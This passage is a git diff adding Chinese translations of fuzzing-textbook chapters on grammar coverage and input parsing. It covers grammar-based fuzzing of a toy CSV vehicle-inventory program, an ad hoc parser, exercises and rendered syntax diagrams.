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
+)
+
+在这里，我们的相关系数甚至超过了0.95：
+
+```py
+np.corrcoef(xs, ys)
+
+```
+
+```py
+array([[1\.        , 0.94110679],
+       [0.94110679, 1\.        ]])
+
+```
+
+This is also confirmed by the Spearman rank correlation:
+
+```py
+spearmanr(xs, ys)
+
+```
+
+```py
+SpearmanrResult(correlation=1.0, pvalue=0.0)
+
+```
+
+我们得出的结论是：如果要获得较高的代码覆盖率，则首先争取较高的语法覆盖率是一个好主意。
+
+### 这会一直有效吗？
+
+对于CGI和URL示例观察到的相关性并不适用于每个程序和每个结构。
+
+#### 等效元素
+
+首先，即使某个语法元素将它们视为不同的符号，它们也会被程序统一处理。 例如，在URL的主机名中，我们可以有许多不同的字符，尽管URL处理程序将它们完全相同。 同样，单个数字一旦组合成一个数字，其影响就小于数字本身的值。 因此，实现数字或字符的多样性不一定会在功能上产生很大的差异。
+
+如上所述，可以通过*取决于元素的上下文*区分元素并覆盖每种上下文的替代方案来解决此问题。 关键是确定需要多样性的环境，而不是不需要多样性的环境。
+
+#### 深度数据处理
+
+其次，数据的处理方式可能会有很大的不同。 考虑到*媒体播放器*的输入，该输入由压缩的媒体数据组成。 在处理媒体数据时，媒体播放器将显示行为上的差异（特别是在其输出中），但是无法通过媒体数据的各个元素直接触发这些差异。 同样，在大量输入上训练的*机器学习器*通常不会通过输入的单个语法元素来控制其行为。 （嗯，可以，但是然后，我们将不需要机器学习者。）在“深度”数据处理的这些情况下，在语法上实现结构覆盖不一定会导致代码覆盖。
+
+解决此问题的一种方法不仅是实现*语法*，而且实际上是*语义*变体。 在[关于带约束的模糊化](GeneratorGrammarFuzzer.html)的章节中，我们将看到如何专门生成和过滤输入值，尤其是数值。 这样的生成器也可以在上下文中应用，从而可以分别控制输入的每个方面。 同样，在以上示例中，*输入的某些*部分仍可以在结构上覆盖：*元数据*（例如媒体播放器的作者姓名或作曲者）或*配置数据[* （例如机器学习者的设置）可以并且应该被系统地涵盖； 我们将在“配置模糊” 一章中看到如何完成此操作。
+
+## 经验教训
+
+*   快速实现*语法覆盖率*会产生各种各样的输入。
+*   复制语法规则允许覆盖特定*上下文*中的元素。
+*   实现语法覆盖率可以帮助获得*代码覆盖率*。
+
+## 后续步骤
+
+从这里，您可以学习如何
+
+*   [使用语法覆盖系统地测试配置](ConfigurationFuzzer.html)。
+
+## 背景
+
+确保语法中的每个扩展至少使用一次的想法可以追溯到Burkhardt [ [Burkhardt *等人*，1967。](https://doi.org/10.1007/BF02235512)]，稍后由Paul Purdom [[重新发现。 Purdom *等*，1972。](https://doi.org/10.1007/BF01932308)。 语法覆盖率和代码覆盖率之间的关系是由Nikolas Havrikov发现的，他在其博士学位论文中对此进行了探讨。
+
+## 练习
+
+### 练习1：测试ls
+
+考虑用于列出目录内容的Unix `ls`程序。 创建用于调用`ls`的语法：
+
+```py
+LS_EBNF_GRAMMAR = {
+    '<start>': ['-<options>'],
+    '<options>': ['<option>*'],
+    '<option>': ['1', 'A', '@',
+                 # many more
+                 ]
+}
+
+```
+
+```py
+assert is_valid_grammar(LS_EBNF_GRAMMAR)
+
+```
+
+使用`GrammarCoverageFuzzer`测试所有选项。 确保在每个选项集中都调用`ls`。
+
+[Use the notebook](https://mybinder.org/v2/gh/uds-se/fuzzingbook/master?filepath=docs/notebooks/GrammarCoverageFuzzer.ipynb#Exercises) to work on the exercises and see solutions.
+
+### 练习2：缓存
+
+`max_expansion_coverage()`的值仅取决于语法。 更改实现，以便在初始化时为每个符号和深度预先计算值（`__init__()`）； 这样，`max_expansion_coverage()`可以简单地在表中查找值。
+
+[Use the notebook](https://mybinder.org/v2/gh/uds-se/fuzzingbook/master?filepath=docs/notebooks/GrammarCoverageFuzzer.ipynb#Exercises) to work on the exercises and see solutions.
\ No newline at end of file
diff --git a/new/fuzzing-book-zh/18.md b/new/fuzzing-book-zh/18.md
new file mode 100644
index 0000000000000000000000000000000000000000..e99f073584ae5e31d4a42c532a095a455e53bf70
--- /dev/null
+++ b/new/fuzzing-book-zh/18.md
@@ -0,0 +1,3135 @@
+# 解析输入
+
+> 原文： [https://www.fuzzingbook.org/html/Parser.html](https://www.fuzzingbook.org/html/Parser.html)
+
+在[语法](Grammars.html)的章节中，我们讨论了如何使用语法来表示各种语言。 我们还看到了如何使用语法生成相应语言的字符串。 语法也可以执行相反的操作。 也就是说，给定一个字符串，可以将字符串分解为与用于生成它的语法部分相对应的组成部分-该字符串的*派生树*。 这些部分（以及其他相似字符串的部分）以后可以使用相同的语法重新组合以产生新的字符串。
+
+在本章中，我们使用语法将一组有效的种子输入解析并分解为它们对应的派生树。 这种结构表示使我们能够变异，交叉和重组它们的部分，以生成新的有效的，稍有变化的输入（即模糊）
+
+**前提条件**
+
+*   您应该阅读语法的[一章。](Grammars.html)
+*   还需要了解有关语法模糊检查器的[一章中的派生树。](GrammarFuzzer.html)
+
+## 内容提要
+
+要使用本章中提供的代码来[，请编写](Importing.html)
+
+```py
+>>> from [fuzzingbook.Parser](Parser.html) import <identifier>
+
+```
+
+然后利用以下功能。
+
+本章介绍`Parser`类，将字符串解析为[派生树，如](GrammarFuzzer.html)[关于高效语法模糊](GrammarFuzzer.html)的一章中介绍的那样。 提供了两个重要的解析器类：
+
+*   [解析表达式语法解析器](#Parsing-Expression-Grammars)（`PEGParser`），它非常有效，但仅限于特定的语法结构； 和
+*   [Earley解析器](#Parsing-Context-Free-Grammars)（`EarleyParser`），它们接受任何类型的无上下文语法。
+
+但是，使用其中任何一个都非常容易。 首先，用语法实例化它们：
+
+```py
+>>> from [Grammars](Grammars.html) import US_PHONE_GRAMMAR
+>>> us_phone_parser = EarleyParser(US_PHONE_GRAMMAR)
+
+```
+
+然后，使用`parse()`方法检索可能的派生树的列表：
+
+```py
+>>> trees = us_phone_parser.parse("(555)987-6543")
+>>> tree = list(trees)[0]
+>>> display_tree(tree)
+
+```
+
+!
+
+这些派生树然后可以用于测试生成，尤其是用于变异和重组现有输入。
+
+## 模糊简单程序
+
+这是一个简单的程序，它接受车辆详细信息的CSV文件并处理该信息。
+
+```py
+def process_inventory(inventory):
+    res = []
+    for vehicle in inventory.split('\n'):
+        ret = process_vehicle(vehicle)
+        res.extend(ret)
+    return '\n'.join(res)
+
+```
+
+CSV文件包含每行一辆车的详细信息。 每行都在`process_vehicle()`中进行处理。
+
+```py
+def process_vehicle(vehicle):
+    year, kind, company, model, *_ = vehicle.split(',')
+    if kind == 'van':
+        return process_van(year, company, model)
+
+    elif kind == 'car':
+        return process_car(year, company, model)
+
+    else:
+        raise Exception('Invalid entry')
+
+```
+
+根据车辆的种类，处理会发生变化。
+
+```py
+def process_van(year, company, model):
+    res = ["We have a %s  %s van from %s vintage." % (company, model, year)]
+    iyear = int(year)
+    if iyear > 2010:
+        res.append("It is a recent model!")
+    else:
+        res.append("It is an old but reliable model!")
+    return res
+
+```
+
+```py
+def process_car(year, company, model):
+    res = ["We have a %s  %s car from %s vintage." % (company, model, year)]
+    iyear = int(year)
+    if iyear > 2016:
+        res.append("It is a recent model!")
+    else:
+        res.append("It is an old but reliable model!")
+    return res
+
+```
+
+这是`process_inventory()`接受的输入示例。
+
+```py
+mystring = """\
+1997,van,Ford,E350
+2000,car,Mercury,Cougar\
+"""
+print(process_inventory(mystring))
+
+```
+
+```py
+We have a Ford E350 van from 1997 vintage.
+It is an old but reliable model!
+We have a Mercury Cougar car from 2000 vintage.
+It is an old but reliable model!
+
+```
+
+让我们尝试模糊该程序。 假设`process_inventory()`带有CSV文件，我们可以编写一个简单的语法来生成逗号分隔的值，并生成所需的CSV行。 为了方便起见，我们直接对`process_vehicle()`进行模糊处理。
+
+```py
+import [string](https://docs.python.org/3/library/string.html)
+
+```
+
+```py
+CSV_GRAMMAR = {
+    '<start>': ['<csvline>'],
+    '<csvline>': ['<items>'],
+    '<items>': ['<item>,<items>', '<item>'],
+    '<item>': ['<letters>'],
+    '<letters>': ['<letter><letters>', '<letter>'],
+    '<letter>': list(string.ascii_letters + string.digits + string.punctuation + ' \t\n')
+}
+
+```
+
+首先，我们需要一些基础结构来查看语法。
+
+```py
+import [fuzzingbook_utils](https://github.com/uds-se/fuzzingbook/tree/master/notebooks/fuzzingbook_utils)
+
+```
+
+```py
+from [Grammars](Grammars.html) import EXPR_GRAMMAR, START_SYMBOL, RE_NONTERMINAL, is_valid_grammar, syntax_diagram
+from [Fuzzer](Fuzzer.html) import Fuzzer
+from [GrammarFuzzer](GrammarFuzzer.html) import GrammarFuzzer, FasterGrammarFuzzer, display_tree, tree_to_string, dot_escape
+
+from [ExpectError](ExpectError.html) import ExpectError
+from [Timer](Timer.html) import Timer
+
+```
+
+```py
+syntax_diagram(CSV_GRAMMAR)
+
+```
+
+```py
+start
+
+```
+
+ <svg class="railroad-diagram" height="62" viewBox="0 0 199.5 62" width="199.5" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g class="non-terminal"><text x="99.75" y="35">csvline</text></g></g></g></g></svg>
+
+```py
+csvline
+
+```
+
+ <svg class="railroad-diagram" height="62" viewBox="0 0 182.5 62" width="182.5" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g class="non-terminal"><text x="91.25" y="35">items</text></g></g></g></g></svg>
+
+```py
+items
+
+```
+
+ <svg class="railroad-diagram" height="92" viewBox="0 0 305.0 92" width="305.0" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g class="non-terminal"><text x="87.0" y="35">item</text></g> <g class="terminal"><text x="148.25" y="35">,</text></g> <g class="non-terminal"><text x="213.75" y="35">items</text></g></g> <g><g class="non-terminal"><text x="152.5" y="65">item</text></g></g></g></g></svg>
+
+```py
+item
+
+```
+
+ <svg class="railroad-diagram" height="62" viewBox="0 0 199.5 62" width="199.5" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g class="non-terminal"><text x="99.75" y="35">letters</text></g></g></g></g></svg>
+
+```py
+letters
+
+```
+
+ <svg class="railroad-diagram" height="92" viewBox="0 0 290.5 92" width="290.5" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g class="non-terminal"><text x="95.5" y="35">letter</text></g> <g class="non-terminal"><text x="190.75" y="35">letters</text></g></g> <g><g class="non-terminal"><text x="145.25" y="65">letter</text></g></g></g></g></svg>
+
+```py
+letter
+
+```
+
+ <svg class="railroad-diagram" height="618" viewBox="0 0 611.0 618" width="611.0" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g><g class="terminal"><text x="84.25" y="283">i</text></g></g> <g><g class="terminal"><text x="84.25" y="253">h</text></g></g> <g><g class="terminal"><text x="84.25" y="223">g</text></g></g> <g><g class="terminal"><text x="84.25" y="193">f</text></g></g> <g><g class="terminal"><text x="84.25" y="163">e</text></g></g> <g><g class="terminal"><text x="84.25" y="133">d</text></g></g> <g><g class="terminal"><text x="84.25" y="103">c</text></g></g> <g><g class="terminal"><text x="84.25" y="73">b</text></g></g> <g><g class="terminal"><text x="84.25" y="43">a</text></g></g> <g><g class="terminal"><text x="84.25" y="313">j</text></g></g> <g><g class="terminal"><text x="84.25" y="343">k</text></g></g> <g><g class="terminal"><text x="84.25" y="373">l</text></g></g> <g><g class="terminal"><text x="84.25" y="403">m</text></g></g> <g><g class="terminal"><text x="84.25" y="433">n</text></g></g> <g><g class="terminal"><text x="84.25" y="463">o</text></g></g> <g><g class="terminal"><text x="84.25" y="493">p</text></g></g> <g><g class="terminal"><text x="84.25" y="523">q</text></g></g> <g><g class="terminal"><text x="84.25" y="553">r</text></g></g> <g><g class="terminal"><text x="84.25" y="583">s</text></g></g></g> <g><g><g class="terminal"><text x="172.75" y="283">B</text></g></g> <g><g class="terminal"><text x="172.75" y="253">A</text></g></g> <g><g class="terminal"><text x="172.75" y="223">z</text></g></g> <g><g class="terminal"><text x="172.75" y="193">y</text></g></g> <g><g class="terminal"><text x="172.75" y="163">x</text></g></g> <g><g class="terminal"><text x="172.75" y="133">w</text></g></g> <g><g class="terminal"><text x="172.75" y="103">v</text></g></g> <g><g class="terminal"><text x="172.75" y="73">u</text></g></g> <g><g class="terminal"><text x="172.75" y="43">t</text></g></g> <g><g class="terminal"><text x="172.75" y="313">C</text></g></g> <g><g class="terminal"><text x="172.75" y="343">D</text></g></g> <g><g class="terminal"><text x="172.75" y="373">E</text></g></g> <g><g class="terminal"><text x="172.75" y="403">F</text></g></g> <g><g class="terminal"><text x="172.75" y="433">G</text></g></g> <g><g class="terminal"><text x="172.75" y="463">H</text></g></g> <g><g class="terminal"><text x="172.75" y="493">I</text></g></g> <g><g class="terminal"><text x="172.75" y="523">J</text></g></g> <g><g class="terminal"><text x="172.75" y="553">K</text></g></g> <g><g class="terminal"><text x="172.75" y="583">L</text></g></g></g> <g><g><g class="terminal"><text x="261.25" y="283">U</text></g></g> <g><g class="terminal"><text x="261.25" y="253">T</text></g></g> <g><g class="terminal"><text x="261.25" y="223">S</text></g></g> <g><g class="terminal"><text x="261.25" y="193">R</text></g></g> <g><g class="terminal"><text x="261.25" y="163">Q</text></g></g> <g><g class="terminal"><text x="261.25" y="133">P</text></g></g> <g><g class="terminal"><text x="261.25" y="103">O</text></g></g> <g><g class="terminal"><text x="261.25" y="73">N</text></g></g> <g><g class="terminal"><text x="261.25" y="43">M</text></g></g> <g><g class="terminal"><text x="261.25" y="313">V</text></g></g> <g><g class="terminal"><text x="261.25" y="343">W</text></g></g> <g><g class="terminal"><text x="261.25" y="373">X</text></g></g> <g><g class="terminal"><text x="261.25" y="403">Y</text></g></g> <g><g class="terminal"><text x="261.25" y="433">Z</text></g></g> <g><g class="terminal"><text x="261.25" y="463">0</text></g></g> <g><g class="terminal"><text x="261.25" y="493">1</text></g></g> <g><g class="terminal"><text x="261.25" y="523">2</text></g></g> <g><g class="terminal"><text x="261.25" y="553">3</text></g></g> <g><g class="terminal"><text x="261.25" y="583">4</text></g></g></g> <g><g><g class="terminal"><text x="349.75" y="283">$</text></g></g> <g><g class="terminal"><text x="349.75" y="253">#</text></g></g> <g><g class="terminal"><text x="349.75" y="223">"</text></g></g> <g><g class="terminal"><text x="349.75" y="193">!</text></g></g> <g><g class="terminal"><text x="349.75" y="163">9</text></g></g> <g><g class="terminal"><text x="349.75" y="133">8</text></g></g> <g><g class="terminal"><text x="349.75" y="103">7</text></g></g> <g><g class="terminal"><text x="349.75" y="73">6</text></g></g> <g><g class="terminal"><text x="349.75" y="43">5</text></g></g> <g><g class="terminal"><text x="349.75" y="313">%</text></g></g> <g><g class="terminal"><text x="349.75" y="343">&</text></g></g> <g><g class="terminal"><text x="349.75" y="373">'</text></g></g> <g><g class="terminal"><text x="349.75" y="403">(</text></g></g> <g><g class="terminal"><text x="349.75" y="433">)</text></g></g> <g><g class="terminal"><text x="349.75" y="463">*</text></g></g> <g><g class="terminal"><text x="349.75" y="493">+</text></g></g> <g><g class="terminal"><text x="349.75" y="523">,</text></g></g> <g><g class="terminal"><text x="349.75" y="553">-</text></g></g> <g><g class="terminal"><text x="349.75" y="583">.</text></g></g></g> <g><g><g class="terminal"><text x="438.25" y="283">[</text></g></g> <g><g class="terminal"><text x="438.25" y="253">@</text></g></g> <g><g class="terminal"><text x="438.25" y="223">?</text></g></g> <g><g class="terminal"><text x="438.25" y="193">></text></g></g> <g><g class="terminal"><text x="438.25" y="163">=</text></g></g> <g><g class="terminal"><text x="438.25" y="133"><</text></g></g> <g><g class="terminal"><text x="438.25" y="103">;</text></g></g> <g><g class="terminal"><text x="438.25" y="73">:</text></g></g> <g><g class="terminal"><text x="438.25" y="43">/</text></g></g> <g><g class="terminal"><text x="438.25" y="313">\</text></g></g> <g><g class="terminal"><text x="438.25" y="343">]</text></g></g> <g><g class="terminal"><text x="438.25" y="373">^</text></g></g> <g><g class="terminal"><text x="438.25" y="403">_</text></g></g> <g><g class="terminal"><text x="438.25" y="433">`</text></g></g> <g><g class="terminal"><text x="438.25" y="463">{</text></g></g> <g><g class="terminal"><text x="438.25" y="493">|</text></g></g> <g><g class="terminal"><text x="438.25" y="523">}</text></g></g> <g><g class="terminal"><text x="438.25" y="553">~</text></g></g></g></g></g></svg>
+
+我们生成`1000`值，然后分别评估`process_vehicle()`。
+
+```py
+gf = GrammarFuzzer(CSV_GRAMMAR, min_nonterminals=4)
+trials = 1000
+valid = []
+time = 0
+for i in range(trials):
+    with Timer() as t:
+        vehicle_info = gf.fuzz()
+        try:
+            process_vehicle(vehicle_info)
+            valid.append(vehicle_info)
+        except:
+            pass
+        time += t.elapsed_time()
+print("%d valid strings, that is GrammarFuzzer generated %f%% valid entries from %d inputs" %
+      (len(valid), len(valid) * 100.0 / trials, trials))
+print("Total time of %f seconds" % time)
+
+```
+
+```py
+0 valid strings, that is GrammarFuzzer generated 0.000000% valid entries from 1000 inputs
+Total time of 6.165338 seconds
+
+```
+
+这显然是行不通的。 但为什么？
+
+```py
+gf = GrammarFuzzer(CSV_GRAMMAR, min_nonterminals=4)
+trials = 10
+valid = []
+time = 0
+for i in range(trials):
+    vehicle_info = gf.fuzz()
+    try:
+        print(repr(vehicle_info), end="")
+        process_vehicle(vehicle_info)
+    except Exception as e:
+        print("\t", e)
+    else:
+        print()
+
+```
+
+```py
+'9w9J\'/,LU<"l,|,Y,Zv)Amvx,c\n'	 Invalid entry
+'(n8].H7,qolS'	 not enough values to unpack (expected at least 4, got 2)
+'\nQoLWQ,jSa'	 not enough values to unpack (expected at least 4, got 2)
+'K1,\n,RE,fq,%,,sT+aAb'	 Invalid entry
+"m,d,,8j4'),-yQ,B7"	 Invalid entry
+'g4,s1\t[}{.,M,<,\nzd,.am'	 Invalid entry
+',Z[,z,c,#x1,gc.F'	 Invalid entry
+'pWs,rT`,R'	 not enough values to unpack (expected at least 4, got 3)
+'iN,br%,Q,R'	 Invalid entry
+'ol,\nH<\tn,^#,=A'	 Invalid entry
+
+```
+
+除非模糊器可以产生`van`或`car`，否则所有条目都不会通过。 确实，原因是语法本身无法捕获有关格式的完整信息。 所以这是另一个想法。 我们对`GrammarFuzzer`进行了修改，以对我们的格式有所了解。
+
+```py
+import [copy](https://docs.python.org/3/library/copy.html)
+
+```
+
+```py
+import [random](https://docs.python.org/3/library/random.html)
+
+```
+
+```py
+class PooledGrammarFuzzer(GrammarFuzzer):
+    def __init__(self, *args, **kwargs):
+        super().__init__(*args, **kwargs)
+        self._node_cache = {}
+
+    def update_cache(self, key, values):
+        self._node_cache[key] = values
+
+    def expand_node_randomly(self, node):
+        (symbol, children) = node
+        assert children is None
+        if symbol in self._node_cache:
+            if random.randint(0, 1) == 1:
+                return super().expand_node_randomly(node)
+            return copy.deepcopy(random.choice(self._node_cache[symbol]))
+        return super().expand_node_randomly(node)
+
+```
+
+让我们再试一次！
+
+```py
+gf = PooledGrammarFuzzer(CSV_GRAMMAR, min_nonterminals=4)
+gf.update_cache('<item>', [
+    ('<item>', [('car', [])]),
+    ('<item>', [('van', [])]),
+])
+trials = 10
+valid = []
+time = 0
+for i in range(trials):
+    vehicle_info = gf.fuzz()
+    try:
+        print(repr(vehicle_info), end="")
+        process_vehicle(vehicle_info)
+    except Exception as e:
+        print("\t", e)
+    else:
+        print()
+
+```
+
+```py
+',h,van,|'	 Invalid entry
+'M,w:K,car,car,van'	 Invalid entry
+'J,?Y,van,van,car,J,~D+'	 Invalid entry
+'S4,car,car,o'	 invalid literal for int() with base 10: 'S4'
+'2*-,van'	 not enough values to unpack (expected at least 4, got 2)
+'van,%,5,]'	 Invalid entry
+'van,G3{y,j,h:'	 Invalid entry
+'$0;o,M,car,car'	 Invalid entry
+'2d,f,e'	 not enough values to unpack (expected at least 4, got 3)
+'/~NE,car,car'	 not enough values to unpack (expected at least 4, got 3)
+
+```
+
+至少我们到了某个地方！ 如果*我们可以将我们对采样数据的了解纳入我们的模糊器中，那就太好了。* 实际上，如果我们可以*从样本中提取*模板和有效值，并在模糊测试中使用它们，那就太好了。 我们该怎么做？ 这个问题的快速答案是：使用*解析器*。
+
+## 使用解析器
+
+一般来说，*解析器*是处理（结构化）输入的程序的一部分。 我们在本章中讨论的解析器将输入字符串转换为*派生树*（在有关有效语法模糊的[章中进行了讨论）。 从用户的角度来看，解析输入只需要两个步骤：](GrammarFuzzer.html)
+
+1.  用语法初始化解析器，如
+
+    ```py
+    parser = Parser(grammar)
+    ```
+
+2.  使用解析器检索派生树列表：
+
+```
+trees = parser.parse(input)
+
+```py
+
+解析完树后，就可以像语法模糊产生的派生树一样使用它。
+
+我们讨论了许多这样的解析器，特别是
+
+*   [解析表达语法解析器](#Parsing-Expression-Grammars)（`PEGParser`），它非常有效，但仅限于特定的语法结构； 和
+*   [Earley解析器](#Parsing-Context-Free-Grammars)（`EarleyParser`），它们接受任何类型的无上下文语法。
+
+如果您只想*使用*解析器（例如，因为您的主要重点是测试），则可以在此处停下来，将[移至下一章](LangFuzzer.html)，我们将在其中学习如何使用 的输入进行突变和重组。 但是，如果您想*了解*解析器的工作原理，那么本章非常适合您。
+
+## 临时解析器
+
+正如我们在上一节中所看到的，程序员经常必须提取遵守某些规则的部分数据。 例如，对于 *CSV* 文件，一行中的每个元素都由*逗号*分隔，并且多个原始数据用于存储数据。
+
+为了提取信息，我们编写了一个临时解析器`parse_csv()`。
+
+```
+def parse_csv(mystring):
+    children = []
+    tree = (START_SYMBOL, children)
+    for i, line in enumerate(mystring.split('\n')):
+        children.append(("record %d" % i, [(cell, [])
+                                           for cell in line.split(',')]))
+    return tree
+
+```py
+
+我们还将图形的默认方向从左至右更改为，而不是从上至下*从上至下*，以便于使用`lr_graph()`进行查看。
+
+```
+def lr_graph(dot):
+    dot.attr('node', shape='plain')
+    dot.graph_attr['rankdir'] = 'LR'
+
+```py
+
+`display_tree()`显示了解析后的CSV文件的结构。
+
+```
+tree = parse_csv(mystring)
+display_tree(tree, graph_attr=lr_graph)
+
+```py
+
+<svg height="254pt" viewBox="0.00 0.00 216.00 254.00" width="216pt" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><g class="graph" id="graph0" transform="scale(1 1) rotate(0) translate(4 250)"><title>%3</title> <g class="node" id="node1"><title>0</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="20" y="-118.8"><start></text></g> <g class="node" id="node2"><title>1</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="99.5" y="-168.8">record 0</text></g> <g class="edge" id="edge1"><title>0->1</title></g> <g class="node" id="node7"><title>6</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="99.5" y="-69.8">record 1</text></g> <g class="edge" id="edge6"><title>0->6</title></g> <g class="node" id="node3"><title>2</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="183.5" y="-234.8">1997</text></g> <g class="edge" id="edge2"><title>1->2</title></g> <g class="node" id="node4"><title>3</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="183.5" y="-201.8">van</text></g> <g class="edge" id="edge3"><title>1->3</title></g> <g class="node" id="node5"><title>4</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="183.5" y="-168.8">Ford</text></g> <g class="edge" id="edge4"><title>1->4</title></g> <g class="node" id="node6"><title>5</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="183.5" y="-135.8">E350</text></g> <g class="edge" id="edge5"><title>1->5</title></g> <g class="node" id="node8"><title>7</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="183.5" y="-102.8">2000</text></g> <g class="edge" id="edge7"><title>6->7</title></g> <g class="node" id="node9"><title>8</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="183.5" y="-69.8">car</text></g> <g class="edge" id="edge8"><title>6->8</title></g> <g class="node" id="node10"><title>9</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" 